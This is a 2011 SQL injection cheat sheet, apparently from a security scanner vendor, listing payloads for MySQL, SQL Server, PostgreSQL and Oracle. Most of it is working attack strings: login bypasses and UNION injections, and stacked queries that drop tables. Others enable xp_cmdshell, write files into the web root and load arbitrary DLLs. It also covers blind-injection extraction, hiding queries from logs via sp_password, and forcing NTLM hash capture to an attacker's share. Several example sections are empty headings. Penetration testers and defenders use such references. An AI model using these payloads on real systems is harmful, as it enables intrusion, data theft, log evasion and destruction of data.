SQL Injection Cheat Sheet

8-12-2011

Find and exploit SQL Injections with free Netsparker SQL Injection Scanner

SQL Injection Cheat Sheet, Document Version 1.4

About SQL Injection Cheat Sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;

Table Of Contents

  1. About SQL Injection Cheat Sheet
  2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
    1. Line Comments
    2. Inline Comments
    3. Stacking Queries
    4. If Statements
    5. Using Integers
    6. String  Operations
    7. Strings without Quotes
    8. String Modification & Related
    9. Union Injections
    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

Line Comments Sample SQL Injection Attacks

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

Classical Inline Comment SQL Injection Attack Samples
MySQL Version Detection Sample Attacks

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

  SQL Server MySQL PostgreSQL ORACLE MS Access
ASP          
ASP.NET          
PHP          
Java          

 

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

SQL Server If Statement

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

String  Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

Hex based SQL Injection Samples

String Modification & Related

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

Data types, UNION, etc.

Hints,

Finding Column Type

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'

  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL) 
IS_SRVROLEMEMBER (Transact-SQL) 
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

 

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Detailed Article : Fast way to extract data from Error Based SQL Injections

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

 

Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

pg_sleep(seconds) (P)

Sleep for supplied seconds.

Covering Tracks

SQL Server -sp_password log bypass (S)

SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1

  2. product.asp?name=Book
    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ’ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

Some Extra MySQL Notes

Potentially Useful MySQL Functions

Second Order SQL Injections

Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

References

Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.

ChangeLog

Find and exploit SQL Injections with Free Web Application Security Scanner

 

To Do / Contact / Help

I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and some of undocumented tricks in here. They will be available soon I hope. If you want to help or send a new trick, not here thing just drop me an email (ferruh-at-mavituna.com).

Recent Blog Posts

See all of the blog posts